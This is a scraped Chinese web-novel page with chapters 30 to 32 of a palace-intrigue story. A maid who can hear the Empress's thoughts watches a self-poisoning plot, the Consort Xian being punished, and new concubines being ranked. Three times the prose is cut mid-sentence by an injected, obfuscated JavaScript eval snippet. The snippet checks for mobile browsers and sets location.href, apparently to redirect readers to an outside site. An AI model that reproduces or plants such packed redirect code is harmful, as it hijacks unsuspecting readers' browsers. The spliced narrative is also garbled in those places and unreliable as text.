沈青双眼通红,头发微微凌乱,心道,皇后也太大胆了,完全不将自己的命当命。 纪宸不停地拨着手上的玉扳指,愈来愈快,就跟他的心情一样很不平静。 他终于分出神准备彻查此事,便抬眼看了王积贵一眼,将此事交于他,见王积贵颔首,纪宸这才收回了目光。 但却不敢再往皇后的方向看。 愧疚,若非没有好好惩治贤妃,贤妃也不会有恃无恐到再次下手。 这厢王积贵拉住沈青的袖子拽了拽,朝殿外指了指,明显有话要问,于是她便跟着他出去。 皇后的羹汤出了问题,王积贵必然要盘问坤宁宫上下,揪出在羹汤里下毒的人。在皇上来的时候,坤宁宫中的宫人已经被乾清宫的人控制了起来。 不过沈青没想到,她会是第一个被盘问。 沈青已经做好往皇后无辜的方向引,谁知王积贵的第一句话是:“不必担心,皇后会没事,皇上也一定会严惩真凶。” 他默默给沈青递上了手帕,上面带着一股幽香。 沈青拿到擦了擦眼泪,见到有其他御前的太监在盘问可疑之人,便明白王积贵此举只因与她有私交。 心中不免泛上涟漪,极力为皇后说话道:“干爹,皇后真的对我很好,我不希望皇后出事,所以有点害怕。” 王积贵道:“我知晓。” 沈青还在团着帕子擦眼睛,眼皮越擦越红,王积贵只能道:“把帕子还回来。然后跟着我去认一认坤宁宫的宫人。” 因正事在前,沈青应下,将湿了的帕子还给王积贵,王积贵抓住,塞进了袖子中,带着沈青往太监发现了什么的方向走去。 待走到,才看见有太监已经畏罪自杀,服用毒药产生的症状与皇后相似,只不过皇后的症状更轻,这个太监已经七窍流血回天乏术了。 御前的太监平静地收拾残局,坤宁宫这名太监的惨状没引起他们丝毫情绪起伏,似乎已经处理过不少这样的事。 王积贵见状目光一沉,刚要遣沈青离开,沈青便已惊呼出此人的身份。 “他是取膳太监小柱子,今天的膳食是萱草带着他去取的,今日也轮到了他当值。” 坤宁宫人手多,因此实行的是轮值,乾清宫亦是如此。 沈青说完便避过身不忍再看,不由思量这名太监到底是皇后找的替死鬼,还是真的是其他宫的人,恰好被皇后利用了。不过即便私心再大,前者的可能性明显更高。 王积贵已经叫人去找萱草,萱草赶来后,很快明白原委,厌恶地看向那名太监。 “死了真是便宜他了。”说完便回忆起今日取膳的事,“在御膳房取膳时,小柱子掀开食盒查看过,我当时还以为他在查看御膳房今日给娘娘的膳食有什么不妥之处,原来是趁着那时候在往羹汤中下毒。” 王积贵隐隐有不好的预感。果然,将坤宁宫上上下下查了一遍,只在小柱子的住处搜出未用完的毒药。然而下毒的小柱子,却已服毒自尽,线索完全断了。 他只能将查出的事禀报给皇上。 同样的下毒方式,同样的灭口手段,纪宸闭上眼握着拳,对贤妃的怀疑已经到了深信不疑的地步。 30. 第 30 章 青玉亲自盯着取药煎药,然后又在得到柳太医的首肯后,喂给皇后。 柳太医已经控制住了皇后体内的毒素,这一碗药喂下去,皇后吐出秽物,便已经差不多了,日后只需要精心调养,便能恢复地七七八八,但身体完全好,依柳太医的说法是不太可能。 皇后知道自己凤体有损,神情悲哀中带着对幕后黑手的愤恨,心中则对这个结果很满意。身体永远好不了,意味着皇上一见到她留下的病症,便能想到今日之事。 即便暂且扳不倒贤妃,她也要皇上对贤妃有着深深隔阂,如此,颜氏便没有可能更进一步。 纪宸已经重新坐到了皇后床边,皇后仍虚弱着,她的眼泪止不住地横着流进发中,却只对皇上说:“皇上,我们的孩子无事,臣妾没有辜负皇上所托。” 这时候说这种话,只能让纪宸本就愧疚的心情加深。 皇后怎么会不懂呢?她太懂了,所以才说出这种直戳纪宸心窝的话。 她看着皇上眼中一片阴鸷,握着她手的力度加深,她没有感觉到疼,只感觉到快意。 纪宸如梦初醒般松开皇后的手,没有告诉皇后线索已经断的事,道:“这件事已经有些头绪,待收集完证据,朕会给皇后一个说法。” 既没有证据,那就制造证据。 皇后看着皇上,似是满心依赖,点了点头:“臣妾相信皇上。” 纪宸又说起另一件事:“你的身体亏损严重,近些天不要再操劳宫务。朕想将你身边的大宫女青玉封为从三品司宫令,统摄后宫女官,以此来辅助你。” 皇后听到上半句时,心里一紧,若因此丢失宫权,绝不是她想看到的,但听到皇上将话说完,她这才放心。 从三品司宫令位比从三品的嫔,只处于主位娘娘之下,总领后宫女官,也只在大殷开国时设立过,因为权力过大,被废弃了数朝。 皇后笑着应下,青玉是她的心腹,看似权力进行了转移,却还是牢牢握在她手里。 后面她废置司宫令这个官职也简单,但只要青玉忠心,她就会让青玉在司宫令上呆得更久。 如今青玉成为司宫令,那她身边的大宫女便少了一位,于是她对皇上道:“皇上,臣妾想提拔二等宫女沈青成为大宫女,她虽资历浅些,但很得臣妾的心,经常哄臣妾开心。” 沈青已经和皇后绑得很深,皇后虽相信沈青不会背叛她,但必要时候也会进行提拔,以此来巩固这份忠心。 纪宸的记忆不差,如何能忘得了那名小宫女,不过让皇后偏心至此,小宫女是有些优点在身的。 皇后怀有身孕,这种时候,她的开心是最重要的。更何况,纪宸还心有愧疚。 纪宸允诺下来,左不过一个大宫女的位置。 皇上皇后又说了些话,皇后露出疲态,皇上让皇后好好休息,便离开了坤宁宫。 回乾清宫的路上,王积贵道:“皇上,您还未用膳,奴才已经让御膳房重新做了一桌送过来了。” 纪宸看奏折耽搁了时间,刚吃上两口,便被坤宁宫的宫人叫走。他身为皇上不在意此事,但王积贵却要关心皇上龙体的。 纪宸点头,坤宁宫中的事仍让他心有余悸,听到王积贵的声音,想到王积贵将乾清宫治理地如此严密,便吩咐道:“王积贵,你这些天去坤宁宫协助皇后的大宫女将坤宁宫内外整治一番,把一些臭鱼烂虾处理干净,朕不希望还会发生明目张胆投毒,危害一国之母凤体的事。” “奴才遵旨。” 纪宸抬脚踏进乾清宫。 坤宁宫内。 即便青玉和沈青纷纷被提拔,但两个人的脸上没有一点喜意。 皇后此番行事只有青古知晓,其他三名大宫女都被瞒得严严实实,因为皇后觉得,知道的人越少,暴露的风险就越低。 所以沈青只能佯装不知道,一心为皇后感到委屈。 皇后一觉醒来,听到皇上会派王积贵来调查坤宁宫宫人,即便青古已经将尾扫掉了,小柱子也是自愿赴死,心中还是会感到不安定。 于是她只得将沈青叫来,看到沈青委屈巴巴的模样,觉得宽心又好笑:“既成大宫女了,便该稳重些。” 沈青轻声反驳道:“如果要皇后被贼人所害奴婢才能升职,那奴婢情愿一直当个小宫女。” “傻话。”皇后呵斥道,面上却无半分斥责之意。接着她想到什么似的开口,“沈青,你可与王积贵相熟?” 沈青:“在乾清宫有过几面之缘,似是个很温和的大太监。” 皇后若有所思。 【温和?王积贵绝对不是这样的人,面慈心狠,手段阴险狡诈,钱全忠与他比起来都算得上是光明磊落。不过这样也好,沈青与他接触起来,便不会那么害怕。等此事过去再让她离王积贵远些。】 皇后没有纠正沈青对王积贵印象:“之后王积贵会被皇上派来坤宁宫,如此便由你来襄助他整顿坤宁宫,如何?” 沈青自然没有拒绝的道理:“奴婢领命。” 这时青古也带着药进来,奉到皇后手边:“娘娘该喝药了。” 没沈青什么事,她便退了出去。 王积贵带着些小太监是第二日来的,沈青早早迎在坤宁宫门口,见状唤道:“王公公”。 王积贵略略点头,便开始排查起坤宁宫的宫人是否是旁人安插进来的。 皇后虽未明说,但沈青知道,皇后想让她检查关于小柱子的痕迹是否真的扫除干净,不要给王积贵留下把柄。 于是沈青便尽职尽责地盯着,皇后行事虽有不妥,但若要咽下贤妃给的委屈未免太被动了,所以她是有些心疼皇后的。 王积贵被她盯得有所感,回头看她,沈青便会一脸甜笑,糊弄过去:“王公公看奴婢,是奴婢脸上有什么不妥之处吗?” “无。” 于是沈青更理所应当跟着王积贵了,像个小尾巴。 午膳时候,沈青极力劝王积贵他们留下来,但他们有自己的章程,必须得走,沈青试过后便不强留,只叫小厨房做了些糕点装在食盒里,再由她递给王积贵。 “辛苦王公公了,这里是一些糕点,不是很腻,带有些清香。各位公公尝尝,真的很好吃。” 王积贵闻言,便知道这是沈青爱吃的糕点。他不期然想到,小宫女让厨房多做点,送些给他们,她就可以顺理成章留下一部分自己吃。 不对,现在已经是大宫女了。 王积贵伸手拎过食盒:“那就多谢沈青姑娘了。” 沈青惊讶了一下,她还以为王积贵会拒绝来着,不过厨娘做得多,拿走就拿走吧。 她把手伸在锁骨的位置处挥了挥,挥别王积贵等人。 不过下午,乃至这几日王积贵都会来坤宁宫。这样的分开不过一个用膳的功夫。 等目送着他们的身影不见,沈青便回殿中与皇后汇报早上的事。 皇后闻言,眉头略松,不吝啬夸奖道:“你做的很好。” 不用多加点拨便能明白她的意思。 皇后提着的心彻底放下了。 王积贵带人将坤宁宫中的宫人查了一遍,还真查出别宫的人,结果自然是押离坤宁宫,再由他亲自选了背景干净的宫人填补进坤宁宫。 几日后,皇上特意派人让皇后与他一起去慈宁宫请安。 皇后身体已经转好,只是仍旧虚弱,去慈宁宫一趟是不碍事的。 自太后回宫,贤妃便日日去慈宁宫陪太后说话,在慈宁宫撞见贤妃已经是必然的。 想到这,皇后便摸清了皇上的用意,带着沈青和萱草便去向太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298973|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后请安。 皇上和皇后一同进入慈宁宫,太后奇道:“怪了,今日太阳是打西边出来的,皇帝和皇后怎么一齐来了?” 纪宸没有接太后的话,只道:“儿臣给母后请安。” 皇后也道:“儿臣恭请母后圣安。” 贤妃正伴在太后身边,站起来给皇上皇后行礼,察觉到皇上的态度有异,虽然有些不明白,但仍将这种态度记在心间。 皇上已经坐在了太后身边的位置的上,见到贤妃淡淡道:“贤妃也在?” 贤妃再次站起来,轻声说了是。 皇后也随即坐在了位置上,随手端起一盏茶,沈青和萱草侍立身后。 殿中的人并不多,纪宸也没说什么让闲杂人等离开,只突兀雷霆撂下一句:“贤妃你可知罪?” 皇上发怒,众人皆绷紧了心弦,唯独太后蹙眉不解其意,目光落到已经跪下的贤妃身上。 贤妃就更不明白了,将做过的事回想一遍,竟然不知道是哪件事惹怒了皇上,居然值得皇上说她有罪。 “皇上息怒,臣妾不明白您说的是什么意思。” 纪宸冷声:“毒害皇后,谋害皇嗣,证据确凿,你还有什么话可说?” 贤妃脸上一白:“臣妾冤枉!” “不知悔改。”纪宸厌烦撇过脸。 皇后将贤妃的神情收入眼中,想要看出她的破绽之处。 贤妃更惶恐了,求助地看向太后:“太后娘娘,臣妾真的什么都没干!给臣妾再大的胆子,臣妾也不敢谋害皇后和皇嗣,臣妾只有十八岁,哪会有这般狠毒的心肠?请皇上太后重查此事。” 太后为难地看向皇上:“这,也许贤妃真是冤枉的,她这孩子哀家从小看到大,性子是极为温良孝顺的,如何能做出这般恶事?” 纪宸将证据交给太后。 良久,太后叹了一口气:“不过是些宫人口供,反咬主子的事皇上见得还少吗?当年先帝后宫联手陷害昭贵妃,那些奴才反水再反水,皇上难道不知吗?” 纪宸垂眼:“正因为当年的事,朕看这后宫才看得更清,是人是鬼,朕心里有数。” “皇上!”太后呵责,“这种话怎么能放在贤妃身上,她是你的妃子,你的表妹!” 贤妃继续表露着冤枉,等待皇上与太后斗法结果。 “可朕亦是你的儿子。” 太后的表情瞬间柔软了起来。 纪宸顺势道:“贤妃?” 太后折中道:“贤妃御下不严,便留在坤宁宫小佛堂自省。” 太后既仍唤着贤妃,便是下定决心保贤妃尊位的。 颜家在后宫不能没有一位高位嫔妃。 贤妃神色刚缓和,就听纪宸接着道:“既然母后不愿贤妃降位,那她便在小佛堂呆到皇后顺利产子,在此期间需要日日亲自为皇后和皇嗣祈福,朕会派嬷嬷来盯着。若皇后这胎不稳,皇后和皇嗣只要一个出现问题,便证明祈福的心不诚,她便不用再从小佛堂出来了。母后看这,可好?” 贤妃睁大了眼睛,不明白皇上缓和的话中如何说出这么残忍的结果,这不是逼太后和她来保皇后和她腹中的胎儿吗? 这比降了她的位,夺了颜家体面还要让人憋屈。 太后沉默,见皇上不急的模样,便知道拗不过他:“哀家会看好贤妃。” 皇后即便不满意这个结果,也知道这是最优解。罢了,先平安诞下皇嗣为重。 她盯着贤妃的目光别有趣味。 【贤妃啊贤妃,喊冤的时候也要垂两行泪,还是说心已经硬到连泪都不会流了?】 沈青默默听完,不由感叹,母子博弈,先心软的注定会先退一步。 皇上未免太会拿捏太后了,将太后的心理完全摸清了,怪不得人家是孝子。 31. 第 31 章 坤宁宫中,皇上皇后携人甫一离开,太后盯着贤妃的神色便沉了下来。 “姑母。”贤妃从地上爬起来,想要去拉太后的衣袖。 太后拂袖甩开:“别叫哀家姑母,哀家没有你这么蠢的侄女!” “事先没和哀家商量也就罢了,算计也算计不明白,就算你将皇后连带她腹中胎儿弄死了,你以为你就能登上那个位置吗?” 贤妃反驳道:“我根本没奢望将皇后弄死,我只是不想她先其他人一步怀上孩子,这个皇子德妃生都行,就是不能从皇后肚子里出来。姑母你常说,皇上重视嫡长子,若皇后顺利产子,那便是板上钉钉的太子,到那一天,又让我如何去争?” “皇上表妹?皇上根本不喜欢我这个表妹,宁愿怜惜玉嫔,去受高氏的冷脸,也不愿去我长春宫多一些。姑母,我非宠妃啊!” 太后的目光更冷了,看贤妃跟看一根木头似的:“真是不中用,若非你姐姐病逝,我也不至于扶持你这么个蠢货。” 她用毫无起伏的语气吐出最伤人的话。 贤妃一瞬间失魂落魄起来,过了一会儿,惨声道:“那是她命不好,与我何干?” 难道她活着就一定要处于颜家长女的阴影中吗? 入宫时,太后不也对她赞赏有加吗?既看不上她,何苦让她入宫? 啪—— 清脆的巴掌声在殿内响起,太后最受不了的就是有人挑衅她,当太后养尊处优久了,气性也越发小了。 贤妃猝不及防之下没能躲开,脸被打偏过去,半边发髻散开了几缕。 她咬着一口银牙,双目通红,伸手捂住脸,软下声音:“姑母,英华知错了。” 太后此时也意识到自己过了,接过贤妃递来的台阶,缓声道:“你是我的侄女,我如何不疼你?只是你的手段过于拙劣,短时间内,同样的手段如何能用两次呢,以至于被皇上抓到了把柄。哀家曾与你说过,皇上最是念情分,你跟他的时间久了,总会待你不一样。且此次皇后有孕,德妃尚且能按兵不动,你却这般按耐不住。东西都给你掰碎了说,哀家能给颜氏女的也尽皆给了你,你什么时候能懂事些?” 贤妃默默听完,冷不丁道:“姑母,我只害了皇后一次,还没能成功。前几日皇后中毒,并非出自我手。” 太后闻言沉默下来,她回宫不久,又一朝天子一朝臣,对嫔妃背后的宫中势力还没有摸清,一时之间竟然有些看不明白。 “你心中可有成算?” 贤妃疲惫道:“除了臣妾,后宫中有移花接木这样能力的唯德妃一人,这次,是我栽了。” 太后见此,挥了挥手,让宫人带贤妃下去拿药油抹脸。 在皇上派来盯梢的嬷嬷来之前,贤妃暂且还是自由的。 三月,春和景明,草木蔓发。 秀女在储秀宫住了一个月后,殿选正式开始。 太后、皇上、皇后坐在上首宝座上,等着秀女每五人为一排走进来,问些问题,便能决定留牌子记名还是撂牌子。 皇后对诸位秀女心中有数,也对皇上的喜好有些了解。 果然,容貌最盛的陆云湄陆秀女,皇上只是略略看了一眼,便决定留牌子。 清丽佳人的楚秋娘楚秀女,皇上问了些父兄问题,亦是留下了。除此之外,一株幽兰般的陈皎陈秀女,皇上则是问了些礼乐问题,留牌子。 至于最让皇后忌惮的王令仪,她还尚未开口,太后便对王秀女赞不绝口,夸她有大家风范,最后自是留了下来。 皇后心知肚明,太后觉得有王令仪这个险些成为皇后的人在,方便给她添堵。 贤妃的事情,可见是让太后不快的,太后迁怒不了儿子,那身为皇后的她便成了眼中钉。 萧裳月见此,只能温婉含笑,还要拿出大度的模样,说母后说的对。 【我忍。】 此时的沈青正在欣赏秀女,看着一个个嫩得能掐出水,正是妙龄的女子,她都快要春心萌动了。 春天啊,正适合早恋的年纪。 然而悲催的是,后宫哪有男人存在? 哦,不对,有的有的。太医就是,但能混上太医,最小的也四十往上了。 当宫女就是这样,需要熬到二十五,方能放出宫去,只是到那时,可选择的范围就极其有限了,甚至大概率是些歪瓜裂枣。 至于在宫中解决终身大事,则有三个选择,一个和宫女,一个和太监,一个和皇上。 第一个不考虑,因为沈青是个铁直的直女,第二个难度大,一个周正不猥琐且能配得上她皇后大宫女身份的太监太难得了,第三个那更是地狱难度。 皇上长的好是好,但位份给的扣不说,生育能力也要打个问号,先帝亡的也早,谁知道纪家的基因有没有问题。 且若沈青真奔着当嫔妃去的话,有能听到心声的金手指,她当初选择的去处应该是御前。 她没那么做,说明还是图安稳更多。 更何况,沈青自认没有智多近妖到能防下宫中的明枪暗箭,皇上也是在皇后两次中招后才给予保护,轮到沈青,第一次的时候怕是已经死了。 最重要的是,沈青现如今只有十四岁,虚岁十五,正是没什么大心思,得过且过的时候。 话说回来,沈青在听到皇后心声的时候,便将注意力转移到了皇后身上。 此刻下面的秀女已经又换了一批,站在正中间的正是李宛意,德妃堂妹。 皇后见到人,眉间拢了些愁绪。 殿选前夕,德妃找到皇后,请皇后让李宛意撂牌子归家,因态度谦卑诚恳,并承诺了一些事,让皇后答应她。 皇后没说应与没应,因为她现在还在纠结,帮助敌人算怎么回事,当初德妃对她可没半分心软。 如今她要因德妃的姐妹情深成全德妃的意愿? 【德妃可真有意思,旁人巴不得要进宫,她却要把堂妹往宫外推。】 皇后当然知道德妃是不想李宛意搅入皇宫争斗,但以她和德妃的关系,心里也是说不出好话的。 然而,皇后仍在犹豫是否顺了德妃的心意时,太后忽然开口:“姓李,这个姓氏怎么那般熟悉,莫不是与德妃有些关系?” 李宛意出列,声音动听道:“回太后娘娘的话,臣女是德妃娘娘的堂妹。” 太后微笑,看向皇上:“德妃深宫寂寥,没个身边人说话,不如将李宛意留下陪一陪德妃?” 纪宸不在意这些小事:“依母后的意思。” 太后满意地收回视线,李宛意已经开始谢恩。 德妃胆敢算计颜家人,莫不是以为她不存在? 德妃越想要什么,她便越要逆了德妃的意。 皇后不需要纠结是否留下李宛意了,毕竟太后已经替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304614|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她做了决定。德妃便是有怨,也该冲着太后和贤妃去。 之后,皇后做主留下郑珠璎。 郑珠璎当日的示好,沈青禀报给了皇后,皇后手下无人,便想先用一用郑秀女,若日后用的不顺手,弃了再寻便是。 宫中不是东风压倒西风,就是西风压倒东风,更何况,宫内可不止两股风。 皇上选秀女只吃好的,对待中上之姿便有些平淡。 于是剩下的大部分比如小家碧玉的何秀女,饱读诗书的蒋秀女,娇俏可爱的章秀女等等都是皇后做主留下的。 最后一共选十四人,这次大选才算正式结束。 殿选之后,皇后便需要给新人拟定位份,然后将名册交与皇上,让皇上再做调整。 因皇后怀孕,精神难免有些不济,便又将此事让青玉和沈青商量着来,之后再由她过目。 总之,任务是层层分配的。 为了此事,青玉叫来这批秀女的教习姑姑,来询问入选秀女的表现,再根据秀女的家世和殿选时皇上皇后太后的中意程度,来拟定这十四位秀女的位份。 将名单递给皇后,皇后添上几笔,然后让人重新誊抄,递到皇上跟前一阅。 乾清宫内,沈青将名册交到皇上手中。 纪宸翻看了一番,道:“三名贵人,是否过多了。” 沈青默默在心里翻了个白眼,看吧,他就是对位份这么吝啬! 名单中的三位贵人分别是陆云湄、王令仪、楚秋娘,三人的容貌皆是绝色,其中陆云湄殿选时得皇上喜爱,王令仪家世最好,楚秋娘父兄给力。至于其他人则差她们一筹。 纪宸也没指望沈青回答,拿上笔便在名册上改起来,最终,陆云湄被更改为美人,但赐了一个“嫣”字做封号,是为嫣美人。 王令仪未动,仍是皇后赐的封号为宣贵人。 太后越是要恶心她,她越要对王氏女多加看重。 而楚秋娘无封号,还是楚贵人。 纪宸诧异问:“为何陆云湄的宫舍在景阳宫?朕记得景阳宫是有主位在的。” 这时,沈青就必须要回答了,还得解清皇帝的困惑:“回禀皇上,景阳宫确有主位,是惠贵嫔娘娘,但惠贵嫔与陆秀女有些姻亲关系,惠贵嫔想在宫中照拂陆秀女,便请皇后将陆秀女赐住到景阳宫中。” 景阳宫如今只剩偏殿无人可居,惠贵嫔此举虽打着照拂的旗号,但着实是坑害到了陆秀女。 有主位和无主位的宫宇能一样? 纪宸不解:“皇后竟能同意?”惠贵嫔不是刚得罪了皇后吗? 沈青浅笑不语。 皇后虽恨惠贵嫔,但更期待景阳宫中的鸡飞狗跳。 纪宸便也后知后觉,动笔的手犹豫起来,最终没给嫣美人挪宫殿。 贵人定了之后,便是美人了,陈皎被封为陈美人,李宛意被封为李美人,美人之位加上嫣美人便是三名了。 纪宸对陈皎有印象,知道李宛意是德妃堂妹,见李宛意的宫舍在德妃的永寿宫中也不意外。 剩下的便是四名才人,五名宝林。 宝林的人选平平无奇,郑珠璎被封了才人,此外,各有特色的何、蒋、章也被封为才人,只是没有封号。 纪宸将名册合上,着人操办新妃进宫事宜。 如此,新妃的二贵人三美人四才人五宝林的格局便定了下来。 32. 第 32 章 待到新妃被一顶顶轿子抬着入宫,一切安顿好后,又是十几日过去了。 那天宫内格外热闹,人来人往,仿佛深深宫邸也被注入了一口仙气儿。 皇后示恩于下,让人给新进宫的嫔妃都送了赏赐去,尤其是住在南春阁的宣贵人,更是两倍厚礼。 让人明白她极看重宣贵人,后宫那些莫须有的忌惮传言便也不攻自破了。 而郑才人那边,与其他嫔妃无二,若只是因赏赐不出挑就不愿投效到她这里,日后用着也刺手。 为着这些赏赐的事,坤宁宫的大宫女全都出动了。 沈青去的是嫣美人的降萼轩和何才人的宁辉苑。 降萼轩在景阳宫中,熟悉的织云殿已经被兰婕妤住下,因为有处在同一宫的织云殿作对比,降萼轩显得格外逼仄。 沈青带着捧有礼物的宫人进入降萼轩,朝嫣美人行礼,道明来意。 她抬头时,嫣美人正浅笑着望向她:“多谢皇后娘娘赏赐。”衬得陋室都亮堂了几分。 沈青照例替皇后关怀嫣美人道:“嫣美人舟车劳顿,一路上辛苦了。若在宫中有什么不适,可找皇后娘娘帮忙,娘娘知道嫣美人姿容绝代,便让人准备了些布匹首饰,还望美人喜欢。” 嫣美人道:“娘娘送的是我在家中从未见过的好东西,自然是极好的,请替我谢过娘娘挂念。” “美人客气了。”沈青见无什么不妥,便准备离开,“奴婢还要去给宁辉苑的何才人送赏,便不在美人这里久留了。” 嫣美人朝身边婢女示意,婢女将赏赐的银两递给沈青,沈青收下,便再次向嫣美人告退,携宫人离开宁辉苑。 宫内送赏赐的宫人是赚赏银最多的地方,平日能得赏赐的都是得皇上皇后青眼的妃嫔,意味着前程不会差,所以出手格外大方。 不过沈青得的赏银按照惯例是要与一起送赏的宫人分的,不过既是她领头,她就会拿大头。 摸着手里银子的重量,沈青估摸出足有十两。 看来嫣美人的身家不会太差。 初入宫的妃嫔银钱重要,却也不重要。若能直接得皇上宠爱,那银钱便没用武之地了,为了防止宠妃受委屈而给皇上吹耳旁风,宫内各司给宠妃的东西都是最好的,甚至常会超出嫔妃的每日份例。 若初入宫不得宠,银钱的重要性便显现出来了。虽然嫔妃有定死的份例,但那点份例只够维持嫔妃的体面,若要吃的好穿的好戴的好,少不得要用银子打点。除此之外,妃嫔的容貌哪个不是靠银子养着,方能时时刻刻容光焕发,不然灰扑扑的,皇上瞧不见,上升的通道便也没了。 刚出景阳宫不久,嫣美人身边的婢女便追了出来。 沈青记得,嫣美人叫她星罗,方才在降萼轩面色便有些不佳,见到她时也只能勉强扯出笑。 像是在她来之前,就已不满,若是个嘴快的,怕是已经和嫣美人抱怨过了。 此番追出来,也定然有嫣美人示意。 沈青站定,看向星罗:“可是嫣美人有什么吩咐?” 星罗摇了摇头,又是往沈青手里塞了十两银子:“奴婢想知道我们姑娘为什么会住进降萼轩,这里不仅宫室小,旁边还长着茂盛的绿植,夏天恐怕会吸引蚊虫。” 沈青翻手将银子收下,不吝指教道:“惠贵嫔娘娘眷顾嫣美人,她身为景阳宫主位,自是想就近照拂。” 沈青看向景阳宫的匾额,那三个字在阳光下熠熠生辉。 星罗的目光也随即望去,她的眼睛被直射的阳光刺到,不由眯起来,看不清脸色如何。 沈青没等星罗多加反应,便带人去了何才人那里。 宁辉堂中,何才人穿着一身青色衣裳,见到沈青过来连忙站了起来,沈青见此,便扶着何才人坐下,给她请安。 然后和在降萼轩一般无二地表达出皇后体贴新妃的意思。 何才人虽然容貌比不上嫣美人,但她只是拘谨笑着便能让人感到舒心。 “若才人有什么不适,尽可找皇后娘娘……” “一定一定。”何才人迫不及待应下,这才想起场面话,“多谢皇后娘娘赏赐,若娘娘不嫌弃,我可以常去陪伴娘娘。” 她不好意思道:“我这里还没来得及泡上茶,怕是不能留你们喝茶了。” 沈青失笑:“奴婢们本就有任务在身,怎么能留下喝茶。奴婢在这里多谢才人美意,也需要先行告退了。” 何才人让人给沈青递了赏银,沈青再次行礼,便从宁辉堂中退了出来。 直到皇后的人不见身影,何才人这才将探着看去的头收回。 她的宫女应春问:“主子这是何意?” 何才人道:“皇后新立不足一年,正是手头缺人的时候,我若为其效劳,想必也能从后宫嫔妃中脱颖而出。” 皇后身怀有孕,侍奉不了皇上,若肯举荐她,皇上兴许会看在皇后的面子上先翻她的牌子。 届时,她便能领先新妃了。 何才人望着屋内空荡荡的模样:“这宁辉堂大是大,可若不放上东西,不免显得空荡荡的。先把皇后送的赏赐摆上吧。” 应春称是,心中欣慰,知道自己跟对了主子。何才人是个有筹算,也有争的心思的。 进宫若不争宠,那为什么要进宫,图死水一潭的稳定吗? 回到坤宁宫后,沈青将宫人的那份银子分给他们,便进入殿中向皇后禀报。 “降萼轩的嫣美人眼见着是个聪明的,但她身边从家中带来的宫女星罗似乎对住处有些不满,追出来询问缘由,奴婢向她告知了一二。宁辉堂的何才人,态度十分亲近娘娘。” 皇后思考道:“婢女和主子相处久了,心意就往一处使了,嫣美人想必也有些不满。至于何才人,小官之女,明日请安时倒可以见一见,如果有野心,本宫会用,若只图安稳度日,本宫也不是什么不争气的人都收。” 皇后摸着已经隆起的肚子,眉眼浅淡,意兴阑珊。 沈青敏锐察觉到皇后心态的转变,利用一切可以利用的,虽不至于到不择手段的地步,但和当初当妃子时已经有所不同了。 沈青只能安慰自己,皇后这是为了皇嗣,毕竟为母则刚,但心中却有些许迷茫。 皇后的转变并非没有征兆的,原本皇后最喜欢萱草,喜欢她活泼的性子,但现在,皇后亲近更多的则是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309473|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和青玉。 皇后已经不太喜欢天真的人了。 沈青得皇后宠爱,却不骄纵,行事进退有度,说话也体贴人心,不似萱草那般咋咋呼呼的,沈青更多的时候是安静的,更不会与皇后争论什么。 萱草和沈青做事的出发点都是为了皇后好,可皇后更喜欢沈青这种哄人的态度,一切恰到好处,而非萱草模糊了尊卑的过分亲近,明明她有时候都不耐了,萱草还自顾自在笑。 看得人心烦。 七零八碎拼凑出皇后的心声,沈青更茫然了。 她看似进退有度,实则完全依赖于心声,皇后心情好,她便跟着高兴,皇后心情不好,她便不去多嘴,安静地当自己不存在,直到皇后自己调节好,或者顺皇后心意去哄。 萱草不如她,完全是差在金手指这里了。萱草不是没有眼色的,但问题是,皇后现如今已经喜怒不形于色了,这让萱草怎么看脸色行事? 在沈青看来,萱草冤死了,可能到现在也不知道皇后对她有点嫌弃。 至于青玉得看重,则是她一直恭谨待皇后,不论什么时候都没有一丝逾越之处,能力更是加分项,处理六局事务很出彩,省了皇后很大心力。 能干的属下,谁不喜欢? 从殿中退出来,萱草也笑盈盈回来了,她去的是楚贵人的望水阁和郑才人馥香楼。 虽然皇后隐隐疏离了萱草,但明面上还是看重她的,分给她的也是新妃中的两名贵人之一和皇后暂且属意的郑才人。 沈青朝她笑了笑,目送萱草进入殿中。 她原本想拉住萱草,告知她皇后心情不佳,但按照萱草的性子,她必然会去询问皇后有什么不适,多说多错,只会加重皇后对萱草的厌烦。 于是沈青只得放弃这个方法,去萱草的屋外等着她办完事回来。 萱草和沈青碰面的时候,脸上还是笑盈盈的模样,似乎没受皇后呵责。 沈青仔仔细细将她看了一遍,便放心了,皇后现下即便烦一个人,也不会表现出来,失了底下人的心,更何况她以前还极为喜爱萱草,自不会给萱草没脸。 萱草见到沈青便将沈青搂进怀里了,心里感叹着好柔软,这才松开:“怎么了?” 沈青被萱草拉着进屋:“今日皇后好似有些疲惫。” 